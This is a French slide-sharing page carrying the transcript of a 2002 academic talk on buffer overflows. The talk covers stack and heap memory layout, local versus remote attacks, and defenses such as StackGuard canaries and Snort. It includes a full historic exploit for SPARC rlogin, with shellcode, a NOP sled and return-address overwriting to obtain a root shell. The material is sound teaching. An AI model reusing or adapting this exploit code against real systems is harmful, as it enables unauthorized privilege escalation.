Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman.

Slides:



Advertisements
Présentations similaires
GEF 243B Programmation informatique appliquée
Advertisements

Hiver 2010JGA Beaulieu GEF 243B Programmation informatique appliquée Structure de base des programmes en C.
GEF 243B Programmation informatique appliquée
Premier programme en C :
La boucle for : init7.c et init71.c
Cours de C – Séance dexercices 12 Octobre Exercice 5 Idem quexercice 1 : lire une ligne au clavier Sans limitation de la longueur de la ligne (utilisez.
Démonstrations pratiques de buffer overflows
Cours de C – Séance dexercices 25 Septembre 2007.
A RECUPERER EN ENTRANT Le polycopié de Caml Partie 1
Rappels C.
Les procédures et interruptions en Assembleur (Tasm)
GEF 243B Programmation informatique appliquée
C.
Les pointeurs Manipulation d'adresses et de ce qui est contenu dans ces adresses Très important, fondamental même en C mauvaise réputation : 'dur à comprendre',
Système d’Exploitation
Common Gateway Interface
2ième Classe (Mercredi, 13 Octobre) C++ Intro CSI2572.
Points importants de la semaine Les fonctions. La portée. La passage par copie. Les tableaux.
Regrouper des éléments de même type et pouvoir y accéder à laide dun identificateur et dun indice. Objectif des tableaux.
Récursivité.
Les piles Djamal Rebaïne.
Points importants de la semaine Le paramétrage. La portée. Le passage par copie. Le passage par référence.
8PRO100 Éléments de programmation Allocation dynamique de la mémoire.
Système d’exploitation : Assembleur
Les instructions PHP pour l'accès à une base de données MySql
LE MICROPROCESSEUR 8086/8088 Architecture externe du 8086
PROGRAMMATION SCIENTIFIQUE EN C PRO Généralités u Présentation du plan de cours –Disponibilité –Références u Environnement de travail –Langage C.
TRAITEMENT DE STRUCTURES
Course Critique Race Condition
Quest-ce quune classe dallocation? Une classe dallocation détermine la portée et la durée de vie dun objet ou dune fonction.
Les fichiers binaires en C++
Environnements d'exécution
Architecture et technologie des ordinateurs II
IFT 6800 Atelier en Technologies d’information
Méthode et Outils pour la Programmation
La librairie assert.h.
L'Unité centrale (CPU) Le CPU doit être rapide (mesuré en temps de CPU) UNITE DE CONTROLE Générer les signaux de control/temps Contrôler le décodage/exécution.
Buffer Overflow Anatomy of an exploit.
Le langage C Rappel Pointeurs & Allocation de mémoire.
Programmation Système et Réseau (sous Linux)
Les Pointeurs et les Tableaux Statiques et Tableaux Dynamiques
Les adresses des fonctions
TD0 - Rappels. Acquis du programme 1 ère année Analyser et modéliser : un problème, une situation ; Imaginer et concevoir : une solution algorithmique.
Argc et argv Utilisation des paramètres de la ligne de commande.
Tutorat en bio-informatique
Programmation parallèle
Auvray Vincent Blanchy François Bonmariage Nicolas Mélon Laurent
Programmation Système et Réseau
Introduction au langage C Fonctions et Procédures
TABLEAUX des POINTEURS TRAITEMENT DE STRUCTURES
1 École des Mines de Saint-Etienne. 158, cours Fauriel Saint-Etienne Cedex 2. Tél Fax Jean-Jacques Girardot
8PRO100 Éléments de programmation Les pointeurs de caractères.
1 École des Mines de Saint-Etienne. 158, cours Fauriel Saint-Etienne Cedex 2. tél Fax Cours Architecture des.
Conception de Programmes - IUT de Paris - 1ère année – Cours 8 – Les entrées/sorties Comment fonctionnent les opérateurs > pour les types élémentaires.
Classe 1 CSI2572 Autres modificateurs de déclaration de variables: & volatile & register & static & auto & extern & const volatile Indique au compilateur.
Les variables fichiers. Le type fichier On manipule les fichiers par l’intermédiaire de structures FILE décrites dans stdio.h FILE *monFichier; –Nom physique.
Système d’exploitation : Assembleur Semaine 01 Introduction.
6ième Classe (Mercredi, 17 novembre) CSI2572
Patricia Renault UPMC 2005/2006
CPI/BTS 2 Programmation Web Les sites dynamiques Prog Web CPI/BTS2 – M. Dravet – 02/10/2003 Dernière modification: 02/10/2003.
8PRO107 Éléments de programmation Les adresses et les pointeurs.
IFT209 – Programmation Système
Chapitre 9 Les caractères.
Exercices sur les pointeurs. lireCar/remettreCar Lorsque l’on lit caractère par caractère, on ne peut pas savoir qu’on a atteint un caractère avant de.
Table Ronde Bulletins de Sécurité MS Bulletin de sécurité hors cycle.
CHAPITRE 10 Les sous-programmes 1. Sous-programme Suite d’instructions appelée de manière répétitive Par un programme Par plusieurs programmes distincts.
Mysterie Introduction L'exploitation de programmes vulnérables est rendu de plus en plus difficile. Malgré les.
Informatique 1A Langage C 6 ème séance 1. Objectifs de la séance 6  Allocation dynamique de mémoire  Application à la création de tableaux 2.
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Sommaire Qu'est ce qu'un buffer overflow ? Stack Execute invalidation.
Transcription de la présentation:

Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman

Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion

1- Principes généraux Qu'est-ce que le buffer overflow ? Le buffer overflow est une forme d’attaque visant à faire exécuter dans un processus du code malicieux initialement non présent dans celui-ci.

Qu'est-ce que le buffer overflow ? Si le processus corrompu a le SUID bit positionné, l'exécution de code arbitraire avec des privilèges d'exécution root peut avoir des effets désastreux pour le système attaqué... Utilisation la plus courante : attaquer un démon système en vue d'obtenir un shell root.

Qu'est-ce que le buffer overflow ? Quelle faille un processus doit-il exhiber pour être vulnérable à une attaque par buffer overflow ? Du code écrit avec peu de rigueur suffit : le non-respect de la propriété invariante établie pour une boucle est une source majeure de vulnérabilité.

Qu'est-ce que le buffer overflow ? Une telle approche laxiste de la programmation est nuisible, conduisant à une vulnérabilité importante des systèmes. En effet, faire du buffer overflow consiste à écrire dans un buffer (souvent un tableau d'octets) plus de données que la capacité nominale du buffer ne le permet.

Exemple void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); }

Quelles sont les étapes conduisant à un exploit ? (vue d’ensemble) Trouver la victime (SUID !) Analyser son code source (trouver les failles!) Lui faire manger un œuf (le code malicieux) en exploitant une faille telle que précédemment décrite Laisser incuber… (l’œuf est activé quand l’exécution du processus retourne de la fonction où le buffer overflow a eu lieu)  La voie royale!

2 interrogations fondamentales comment placer l’œuf ?  variables d'environnement  arguments fonctionnels comment faire exécuter l’œuf ?  WHEN DATA BECOME INSTRUCTIONS

Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion

2- Organisation de la mémoire 2 architectures : –Architecture Von Neumann "C'est le programme qui doit s'occuper de distinguer les données des instructions." –Architecture Harvard code données codedonnées

Architecture Von Neumann Attaque en utilisant la pile

Code exécutable Organisation de la pile : Exécution normale Mémoire allouée aux données d’un programme Tas Pile int main() { int i, *p; p = malloc(SIZE); Trucmuch(1,2,3); return 0; } void Trucmuch(int a, int b, int c) { char tableau[20]; } i, p Push $1 Push $2 Push $3 Push $1 Push $2 Push $3 call Trucmuch tableau sfp ret 20 : 0 1, 2, 3

Organisation de la pile : Exécution anormale Code exécutable void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); } Pile tableau sfp ret 1, 2, 3 depasse ret sfp 20 : ? ? SEGMENTATION FAULT

Organisation de la pile : Exécution malicieuse Code exécutable void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; depasse = "A1 BB … strcpy(tableau, depasse); } Pile tableau sfp ret 1, 2, 3 X+28. X + 0 ret sfp 20 : #> _ new ret Depasse A1 BB B F1 A F D4 D

Architectures Von Neumann & Harvard Attaque en utilisant le tas Pas de données qui deviennent des instructions Utilisation des effets de bord

Buffer overflow dans le tas tas Mot de passe Donnée innocente écrasé

Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion

Attaque locale ou à distance Vue générale * Différences entre le buffer overflow local et à distance * Difficultés d’exploitation * Exemples

Différences entre local et à distance B.O. local : L’intrus possède déjà un compte sur la machine sur laquelle il veut réaliser l’attaque. B.O. à distance: L’intrus attaque la cible depuis une autre machine et il n’a aucun login sur cette cible.

Difficultés de réaliser ces attaques B.O. local: Cette attaque est très simple à réaliser  l’intrus n’a qu’à exécuter un programme malicieux qui lui donnera in fine les privilèges de root. B.O. à distance: Cette attaque requiert plus de connaissances et plus de travail: –établir une connexion avec la cible –trouver une faiblesse qui l’autorisera à exécuter du code (et ainsi placer le code malicieux) –trouver un moyen d’exécuter le code malicieux

Exemples B.O. local: rlogin B.O. à distance: Exploiter la faiblesse d’un serveur web

Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion

4- Exemple : rlogin Présentation succincte du code Failles dans le code source Expliquer l’attaque

#include... #define... u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0" "\x13\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15" "\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94" "\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); 1/2

long_p = (u_long *) buf; for (i = 0 ; i < (BUF_LENGTH - code_length) / sizeof(u_long) ; i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } 2/2

sfp ret code nop

Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion

5- Détection d’intrusion Deux solutions possibles Stackguard Snort

Stackguard un compilateur spécialisé buffer sfp ret canary En cas d’attaque on écrase le buffer, canary et ret avant le retour de la fonction, le programme vérifie le contenu de canary et détecte l’intrusion

Stackguard : canary Canary ne doit pas pouvoir être généré par buffer overflow Nombre aléatoire Une chaine contenant des 0x00 et des CR/LF

Snort Attaque locale : ??? Attaque à distance : –Détecter le passage du shell-code